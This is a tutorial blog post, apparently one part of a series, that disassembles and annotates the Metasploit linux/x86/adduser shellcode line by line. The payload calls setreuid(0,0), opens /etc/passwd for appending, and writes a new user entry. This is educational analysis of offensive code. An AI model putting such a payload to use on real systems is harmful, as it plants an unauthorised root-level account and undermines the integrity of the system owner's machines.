2. linux/x86/adduser
In this post, we will analyze linux/x86/adduser payload. Following the same process as in the previous analysis, we will generate our payload with msfvenom and put it in a C harness and disassemble the code to analyze it.
Hitting our breakpoint at *&buf and disassembling, we can observe that multiple interrupt calls are made.
Let’s analyze them to gain a better understanding.
The very first syscall seems to be syscall #70 which as per the unistd_32.h file is “setreuid” syscall as seen below.
A description of each instruction is given as comment below:
xor ecx, ecx ; Clearing out ECX register. ECX = 0x0
mov ebx,ecx ; Moving 0x0 in EBX register. EBX = 0x0
push 0x46 ; Pushing 0x46 on the stack
pop eax ; EAX now contains 0x46 which is a syscall to "Setreuid"
int 0x80 ; Interrupt signal. sereuid(0, 0)
push 0x5 ; Pushing 0x5 on the stack
pop eax ; Moving 0x5 on in EAX register. EAX = 0x5 which is a syscall to "open".
xor ecx,ecx ; Clearing out ECX register. ECX = 0x0
push ecx ; Pushing 0x0 on the stack
push 0x64777373 ; Pushing "sswd" in reverse order on the stack
push 0x61702f2f ; Pushing "//pa" in reverse order on the stack
push 0x6374652f ; Pushing "/etc" in reverse order on the stack
mov ebx,esp ; Moving stack pointer in EBX which is pointing
; to "/etc//passwd" terminated with a null pointer
inc ecx ; Incrementing ECX. ECX = 0x1 (O_WRONLY flag)
mov ch,0x4 ; Moving 0x4 in CH. ECX = 0x401
int 0x80 ; Interrupt signal. open("/etc//passwd", 0x401, 0)
xchg ebx,eax ; Putting the return value in ebx which is a file descriptor
; to "/etc/passwd"
call 0x804a093 <buf+83> ; The call function loads the address of our user,
; password and the shell to use in the stack
Once the call instruction is placed, the control goes to the address 0x804a093 as seen above. Let’s analyse what’s in store for us there.
As we can see, the stack pointer is pointing to the user details string and the same is being popped into ECX in the next instruction. Also, we can notice that 0x4 is being pushed and popped back in EAX register which is a “write” syscall. Therefore, it is safe to assume that EDX register will contain the size of what’s being put in ECX register. Lastly, interrupt is made thus executing:
write(fd to “/etc//passwd”, user string, bytes).
Lastly, the code exits gracefully by calling the “exit” syscall as seen below.
Below are the results of our shellcode:
That’s all foolks! Here’s a link to the third and the last part of the series:
Part 3 – linux/x86/shell_find_tag